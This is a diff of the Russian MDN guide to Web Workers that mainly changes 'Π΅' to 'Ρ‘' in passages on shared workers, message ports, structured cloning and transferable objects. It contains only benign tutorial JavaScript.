+<p>Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ сосрСдоточимся Π½Π° Ρ€Π°Π·Π½ΠΈΡ†Π΅ ΠΌΠ΅ΠΆΠ΄Ρƒ Π²Ρ‹Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌΠΈ ΠΈ Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌΠΈ worker-Π°ΠΌΠΈ. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ Π² Π΄Π°Π½Π½ΠΎΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π΅ΡΡ‚ΡŒ Π΄Π²Π΅ HTML страницы с JavaScript ΠΊΠΎΠ΄ΠΎΠΌ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ ΠΎΠ΄ΠΈΠ½ ΠΈ Ρ‚ΠΎΡ‚ ΠΆΠ΅ Ρ„Π°ΠΉΠ» worker-Π°.</p>
<div class="note">
<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°</strong>: Если раздСляСмый worker ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ доступСн ΠΈΠ· Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… контСкстов просмотра, Ρ‚ΠΎ всС ΠΎΠ½ΠΈ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΠΌΠ΅Ρ‚ΡŒ ΠΎΠ΄Π½ΠΎ ΠΈ Ρ‚ΠΎ ΠΆΠ΅ происхоТдСниС (ΠΎΠ΄Π½ΠΈ ΠΈ Ρ‚Π΅ ΠΆΠ΅ ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ», хост ΠΈ ΠΏΠΎΡ€Ρ‚).</p>
@@ -168,7 +168,7 @@ importScripts('foo.js', 'bar.js'); /* imports two scripts */
<h3 id="ΠŸΠ΅Ρ€Π΅Π΄Π°Ρ‡Π°_сообщСний_Π²ΠΈΠ·_раздСляСмого_worker-Π°">ΠŸΠ΅Ρ€Π΅Π΄Π°Ρ‡Π° сообщСний Π²/ΠΈΠ· раздСляСмого worker-Π°</h3>
-<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ сообщСния ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½Ρ‹ worker-Ρƒ, ΠΊΠ°ΠΊ ΠΈ ΠΏΡ€Π΅ΠΆΠ΄Π΅, Π½ΠΎ ΠΌΠ΅Ρ‚ΠΎΠ΄ <code>postMessage()</code> Π΄ΠΎΠ»ΠΆΠ΅Π½ Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒΡΡ ΠΈΠ· ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° <code>port</code> (Π΅Ρ‰Π΅ Ρ€Π°Π·, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ схоТиС конструкции Π² <a href="https://github.com/mdn/simple-shared-worker/blob/gh-pages/multiply.js">multiply.js</a> ΠΈ <a href="https://github.com/mdn/simple-shared-worker/blob/gh-pages/square.js">square.js</a>):</p>
+<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ сообщСния ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½Ρ‹ worker-Ρƒ, ΠΊΠ°ΠΊ ΠΈ ΠΏΡ€Π΅ΠΆΠ΄Π΅, Π½ΠΎ ΠΌΠ΅Ρ‚ΠΎΠ΄ <code>postMessage()</code> Π΄ΠΎΠ»ΠΆΠ΅Π½ Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒΡΡ ΠΈΠ· ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° <code>port</code> (Π΅Ρ‰Ρ‘ Ρ€Π°Π·, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ схоТиС конструкции Π² <a href="https://github.com/mdn/simple-shared-worker/blob/gh-pages/multiply.js">multiply.js</a> ΠΈ <a href="https://github.com/mdn/simple-shared-worker/blob/gh-pages/square.js">square.js</a>):</p>
<pre class="brush: js notranslate">squareNumber.onchange = function() {
myWorker.port.postMessage([squareNumber.value,squareNumber.value]);
@@ -190,9 +190,9 @@ importScripts('foo.js', 'bar.js'); /* imports two scripts */
<p>ΠœΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ события <code>ports</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΏΠΎΡ€Ρ‚ ΠΈ ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ Π΅Π³ΠΎ Π² ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ.</p>
-<p>Π’Ρ‚ΠΎΡ€ΠΎΠΉ этап β€” это ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ события <code>message</code> Π½Π° сохранСнном ΠΏΠΎΡ€Ρ‚Ρƒ. Он Π½ΡƒΠΆΠ΅Π½ для подсчСта ΠΈ Π²Ρ‹Π²ΠΎΠ΄Π° Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π° вычислСния Π² основной ΠΏΠΎΡ‚ΠΎΠΊ. Установка ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° <code>message</code> Π² ΠΏΠΎΡ‚ΠΎΠΊΠ΅ worker-Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°Π΅Ρ‚ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ ΠΊ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΎΠΌΡƒ ΠΏΠΎΡ‚ΠΎΠΊΡƒ, поэтому Π²Ρ‹Π·ΠΎΠ² Π½Π° <code>port.start()</code> Π½Π° самом Π΄Π΅Π»Π΅ Π½Π΅ Π½ΡƒΠΆΠ΅Π½ (см. ΠΊΠΎΠ΄ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° <code>onconnect</code>).</p>
+<p>Π’Ρ‚ΠΎΡ€ΠΎΠΉ этап β€” это ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ события <code>message</code> Π½Π° сохранённом ΠΏΠΎΡ€Ρ‚Ρƒ. Он Π½ΡƒΠΆΠ΅Π½ для подсчёта ΠΈ Π²Ρ‹Π²ΠΎΠ΄Π° Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π° вычислСния Π² основной ΠΏΠΎΡ‚ΠΎΠΊ. Установка ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° <code>message</code> Π² ΠΏΠΎΡ‚ΠΎΠΊΠ΅ worker-Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°Π΅Ρ‚ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ ΠΊ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΎΠΌΡƒ ΠΏΠΎΡ‚ΠΎΠΊΡƒ, поэтому Π²Ρ‹Π·ΠΎΠ² Π½Π° <code>port.start()</code> Π½Π° самом Π΄Π΅Π»Π΅ Π½Π΅ Π½ΡƒΠΆΠ΅Π½ (см. ΠΊΠΎΠ΄ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° <code>onconnect</code>).</p>
-<p>ПослСдний этап β€” Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π΅Π½ΠΈΠ΅ Π² основной ΠΏΠΎΡ‚ΠΎΠΊ ΠΈ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° сообщСния ΠΎΡ‚ worker‑а (Π΅Ρ‰Π΅ Ρ€Π°Π·, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ схоТиС конструкции Π² <a href="https://github.com/mdn/simple-shared-worker/blob/gh-pages/multiply.js">multiply.js</a> ΠΈ <a href="https://github.com/mdn/simple-shared-worker/blob/gh-pages/square.js">square.js</a>):</p>
+<p>ПослСдний этап β€” Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π΅Π½ΠΈΠ΅ Π² основной ΠΏΠΎΡ‚ΠΎΠΊ ΠΈ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° сообщСния ΠΎΡ‚ worker‑а (Π΅Ρ‰Ρ‘ Ρ€Π°Π·, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ схоТиС конструкции Π² <a href="https://github.com/mdn/simple-shared-worker/blob/gh-pages/multiply.js">multiply.js</a> ΠΈ <a href="https://github.com/mdn/simple-shared-worker/blob/gh-pages/square.js">square.js</a>):</p>
<pre class="brush: js notranslate">myWorker.port.onmessage = function(e) {
result2.textContent = e.data[0];
@@ -209,7 +209,7 @@ importScripts('foo.js', 'bar.js'); /* imports two scripts */
<h2 id="ΠŸΠ΅Ρ€Π΅Π΄Π°Ρ‡Π°_Π΄Π°Π½Π½Ρ‹Ρ…_Π²_ΠΈ_ΠΈΠ·_worker-ΠΎΠ²_Π΄Ρ€ΡƒΠ³ΠΈΠ΅_Π΄Π΅Ρ‚Π°Π»ΠΈ">ΠŸΠ΅Ρ€Π΅Π΄Π°Ρ‡Π° Π΄Π°Π½Π½Ρ‹Ρ… Π² ΠΈ ΠΈΠ· worker-ΠΎΠ²: Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Π΄Π΅Ρ‚Π°Π»ΠΈ</h2>
-<p>ΠŸΠ΅Ρ€Π΅Π΄Π°Ρ‡Π° Π΄Π°Π½Π½Ρ‹Ρ… ΠΌΠ΅ΠΆΠ΄Ρƒ Π³Π»Π°Π²Π½ΠΎΠΉ страницСй ΠΈ worker-ΠΎΠΌ происходит ΠΏΡƒΡ‚Π΅ΠΌ копирования, Π° Π½Π΅ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ ΠΏΠΎ ссылкС. ΠžΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ ΡΠ΅Ρ€ΠΈΠ°Π»ΠΈΠ·ΡƒΡŽΡ‚ΡΡ ΠΏΡ€ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡Π΅ ΠΈ Π·Π°Ρ‚Π΅ΠΌ Π΄Π΅ΡΠ΅Ρ€ΠΈΠ°Π»ΠΈΠ·ΡƒΡŽΡ‚ΡΡ Π½Π° Π΄Ρ€ΡƒΠ³ΠΎΠΌ ΠΊΠΎΠ½Ρ†Π΅. Π‘Ρ‚Ρ€Π°Π½ΠΈΡ†Π° ΠΈ workerΒ Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ совмСстно ΠΎΠ΄Π½ΠΈ ΠΈ Ρ‚Π΅ ΠΆΠ΅ экзСмпляры, для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ создаСтся свой. Π‘ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΡŽΡ‚ это структурированным ΠΊΠ»ΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ΠΌ (<a href="/en-US/docs/Web/Guide/API/DOM/The_structured_clone_algorithm">structured cloning</a>).</p>
+<p>ΠŸΠ΅Ρ€Π΅Π΄Π°Ρ‡Π° Π΄Π°Π½Π½Ρ‹Ρ… ΠΌΠ΅ΠΆΠ΄Ρƒ Π³Π»Π°Π²Π½ΠΎΠΉ страницСй ΠΈ worker-ΠΎΠΌ происходит ΠΏΡƒΡ‚Ρ‘ΠΌ копирования, Π° Π½Π΅ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ ΠΏΠΎ ссылкС. ΠžΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ ΡΠ΅Ρ€ΠΈΠ°Π»ΠΈΠ·ΡƒΡŽΡ‚ΡΡ ΠΏΡ€ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡Π΅ ΠΈ Π·Π°Ρ‚Π΅ΠΌ Π΄Π΅ΡΠ΅Ρ€ΠΈΠ°Π»ΠΈΠ·ΡƒΡŽΡ‚ΡΡ Π½Π° Π΄Ρ€ΡƒΠ³ΠΎΠΌ ΠΊΠΎΠ½Ρ†Π΅. Π‘Ρ‚Ρ€Π°Π½ΠΈΡ†Π° ΠΈ workerΒ Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ совмСстно ΠΎΠ΄Π½ΠΈ ΠΈ Ρ‚Π΅ ΠΆΠ΅ экзСмпляры, для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ создаётся свой. Π‘ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΡŽΡ‚ это структурированным ΠΊΠ»ΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ΠΌ (<a href="/en-US/docs/Web/Guide/API/DOM/The_structured_clone_algorithm">structured cloning</a>).</p>
<p>Для ΠΈΠ»Π»ΡŽΡΡ‚Ρ€Π°Ρ†ΠΈΠΈ этого ΠΌΡ‹ создадим Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code>emulateMessage()</code>, которая Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠΌΠΈΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ значСния, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ клонируСтся, Π½ΠΎ Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ совмСстно ΠΏΡ€ΠΈ ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄Π΅ ΠΎΡ‚ worker-Π° ΠΊ Π³Π»Π°Π²Π½ΠΎΠΉ страницС ΠΈΠ»ΠΈ Π½Π°ΠΎΠ±ΠΎΡ€ΠΎΡ‚.</p>
@@ -251,7 +251,7 @@ var example5 = new Animal("Cat", 3);
alert(example5.constructor); // Animal
alert(emulateMessage(example5).constructor); // Object</pre>
-<p>ЗначСния, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΊΠ»ΠΎΠ½ΠΈΡ€ΡƒΡŽΡ‚ΡΡ ΠΈ совмСстно Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ, Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚ΡΡ сообщСниями. Как Π²Ρ‹, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, Π·Π½Π°Π΅Ρ‚Π΅, сообщСния ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½Ρ‹ Π² Π³Π»Π°Π²Π½ΡƒΡŽ страницу ΠΈ ΠΈΠ· Π½Π΅Π΅, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ <code>postMessage()</code>, ΠΈ {{domxref("MessageEvent.data", "data")}}, содСрТа Π΄Π°Π½Π½Ρ‹Π΅, ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Π΅ΠΌΡ‹Π΅ ΠΈΠ· worker-Π°.</p>
+<p>ЗначСния, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΊΠ»ΠΎΠ½ΠΈΡ€ΡƒΡŽΡ‚ΡΡ ΠΈ совмСстно Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ, Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚ΡΡ сообщСниями. Как Π²Ρ‹, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, Π·Π½Π°Π΅Ρ‚Π΅, сообщСния ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½Ρ‹ Π² Π³Π»Π°Π²Π½ΡƒΡŽ страницу ΠΈ ΠΈΠ· Π½Π΅Ρ‘, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ <code>postMessage()</code>, ΠΈ {{domxref("MessageEvent.data", "data")}}, содСрТа Π΄Π°Π½Π½Ρ‹Π΅, ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Π΅ΠΌΡ‹Π΅ ΠΈΠ· worker-Π°.</p>
<p><strong>example.html</strong>: (главная страница):</p>
@@ -279,7 +279,7 @@ onmessage = function (oEvent) {
<p>Если Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚ΡŒ слоТныС Π΄Π°Π½Π½Ρ‹Π΅ ΠΈ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ мноТСство Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ ΠΊΠ°ΠΊ Π½Π° Π³Π»Π°Π²Π½ΠΎΠΉ страницС, Ρ‚Π°ΠΊ ΠΈ Π² worker-Π΅, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ систСму.</p>
-<p>Π’ ΠΏΠ΅Ρ€Π²ΡƒΡŽ ΠΎΡ‡Π΅Ρ€Π΅Π΄ΡŒΒ ΠΌΡ‹ создаСм класс QueryableWorker, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ url worker-Π°, стандартный ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ событий (defaultListener) ΠΈ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ ошибок. Π­Ρ‚ΠΎΡ‚ класс Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΡΠ»Π΅ΠΆΠΈΠ²Π°Ρ‚ΡŒ всСх ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ² ΠΈ ΠΏΠΎΠΌΠΎΠΆΠ΅Ρ‚ Π½Π°ΠΌ ΠΎΠ±Ρ‰Π°Ρ‚ΡŒΡΡ с Π²ΠΎΡ€ΠΊΠ΅Ρ€ΠΎΠΌ.</p>
+<p>Π’ ΠΏΠ΅Ρ€Π²ΡƒΡŽ ΠΎΡ‡Π΅Ρ€Π΅Π΄ΡŒΒ ΠΌΡ‹ создаём класс QueryableWorker, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ url worker-Π°, стандартный ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ событий (defaultListener) ΠΈ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ ошибок. Π­Ρ‚ΠΎΡ‚ класс Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΡΠ»Π΅ΠΆΠΈΠ²Π°Ρ‚ΡŒ всСх ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ² ΠΈ ΠΏΠΎΠΌΠΎΠΆΠ΅Ρ‚ Π½Π°ΠΌ ΠΎΠ±Ρ‰Π°Ρ‚ΡŒΡΡ с Π²ΠΎΡ€ΠΊΠ΅Ρ€ΠΎΠΌ.</p>
<pre class="brush: js notranslate"><code>function QueryableWorker(url, defaultListener, onError) {
var instance = this,
@@ -516,7 +516,7 @@ onmessage = function(oEvent) {
<h3 id="ΠŸΠ΅Ρ€Π΅Π΄Π°Ρ‡Π°_Π΄Π°Π½Π½Ρ‹Ρ…_с_ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ_ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ_владСния_ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Π΅ΠΌΡ‹Π΅_ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹">ΠŸΠ΅Ρ€Π΅Π΄Π°Ρ‡Π° Π΄Π°Π½Π½Ρ‹Ρ… с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ владСния (ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Π΅ΠΌΡ‹Π΅Β ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹)</h3>
-<p>Google Chrome 17+ and Firefox 18+ ΠΈΠΌΠ΅ΡŽΡ‚Β Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΡƒΡŽ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… Ρ‚ΠΈΠΏΠΎΠ² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² (ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Π΅ΠΌΡ‹Π΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΡŽΡ‰ΠΈΠ΅ {{domxref("Transferable")}} интСрфСйс) ΠΊ ΠΈΠ»ΠΈ ΠΈΠ· worker-а с высокой ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒΡŽ. Π­Ρ‚ΠΈ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ ΠΏΠ΅Ρ€Π΅Π΄Π°ΡŽΡ‚ΡΡ ΠΈΠ· ΠΎΠ΄Π½ΠΎΠ³ΠΎ контСкста Π² Π΄Ρ€ΡƒΠ³ΠΎΠΉ Π±Π΅Π· ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΉ копирования,Β Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΡ‚ ΠΊ Π·Π½Π°Ρ‡ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΌΡƒ ΠΏΠΎΠ²Ρ‹ΡˆΠ΅Π½ΠΈΡŽ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ ΠΏΡ€ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠ΅ Π±ΠΎΠ»ΡŒΡˆΠΈΡ… Π½Π°Π±ΠΎΡ€ΠΎΠ² Π΄Π°Π½Π½Ρ‹Ρ…. Π”ΡƒΠΌΠ°ΠΉΡ‚Π΅ ΠΎΠ± этом ΠΊΠ°ΠΊ ΠΎΒ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡Π΅Β ΠΏΠΎ ссылкС Π²Β ΠΌΠΈΡ€Π΅Β C/C++. Однако Π² ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠΈ ΠΎΡ‚ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ ΠΏΠΎ ссылкС, "вСрсия" ΠΈΠ· Π²Ρ‹Π·Ρ‹Π²Π°ΡŽΡ‰Π΅Π³ΠΎ контСкста большС нСдоступна послС ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ. Π’Π»Π°Π΄Π΅Π»ΡŒΡ†Π΅ΠΌ становится Π½ΠΎΠ²Ρ‹ΠΉ контСкст.Β  Для ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°, послС ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ {{domxref("ArrayBuffer")}} ΠΈΠ· Π³Π»Π°Π²Π½ΠΎΠΉ страницы ΠΊ worker-Ρƒ,Β  исходный {{domxref("ArrayBuffer")}} очищаСтся ΠΈ Π±ΠΎΠ»Π΅Π΅ нСдоступСн для использования.Β Β Π•Π³ΠΎ содСрТаниС (Π² Π±ΡƒΠΊΠ²Π°Π»ΡŒΠ½ΠΎΠΌ смыслС) пСрСносится Π² Ρ€Π°Π±ΠΎΡ‡ΠΈΠΉ контСкст.</p>
+<p>Google Chrome 17+ and Firefox 18+ ΠΈΠΌΠ΅ΡŽΡ‚Β Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΡƒΡŽ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… Ρ‚ΠΈΠΏΠΎΠ² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² (ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Π΅ΠΌΡ‹Π΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΡŽΡ‰ΠΈΠ΅ {{domxref("Transferable")}} интСрфСйс) ΠΊ ΠΈΠ»ΠΈ ΠΈΠ· worker-а с высокой ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒΡŽ. Π­Ρ‚ΠΈ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ ΠΏΠ΅Ρ€Π΅Π΄Π°ΡŽΡ‚ΡΡ ΠΈΠ· ΠΎΠ΄Π½ΠΎΠ³ΠΎ контСкста Π² Π΄Ρ€ΡƒΠ³ΠΎΠΉ Π±Π΅Π· ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΉ копирования,Β Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΡ‚ ΠΊ Π·Π½Π°Ρ‡ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΌΡƒ ΠΏΠΎΠ²Ρ‹ΡˆΠ΅Π½ΠΈΡŽ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ ΠΏΡ€ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠ΅ Π±ΠΎΠ»ΡŒΡˆΠΈΡ… Π½Π°Π±ΠΎΡ€ΠΎΠ² Π΄Π°Π½Π½Ρ‹Ρ…. Π”ΡƒΠΌΠ°ΠΉΡ‚Π΅ ΠΎΠ± этом ΠΊΠ°ΠΊ ΠΎΒ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡Π΅Β ΠΏΠΎ ссылкС Π²Β ΠΌΠΈΡ€Π΅Β C/C++. Однако Π² ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠΈ ΠΎΡ‚ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ ΠΏΠΎ ссылкС, "вСрсия" ΠΈΠ· Π²Ρ‹Π·Ρ‹Π²Π°ΡŽΡ‰Π΅Π³ΠΎ контСкста большС нСдоступна послС ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ. Π’Π»Π°Π΄Π΅Π»ΡŒΡ†Π΅ΠΌ становится Π½ΠΎΠ²Ρ‹ΠΉ контСкст.Β  Для ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°, послС ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ {{domxref("ArrayBuffer")}} ΠΈΠ· Π³Π»Π°Π²Π½ΠΎΠΉ страницы ΠΊ worker-Ρƒ,Β  исходный {{domxref("ArrayBuffer")}} очищаСтся ΠΈ Π±ΠΎΠ»Π΅Π΅ нСдоступСн для использования.Β Β 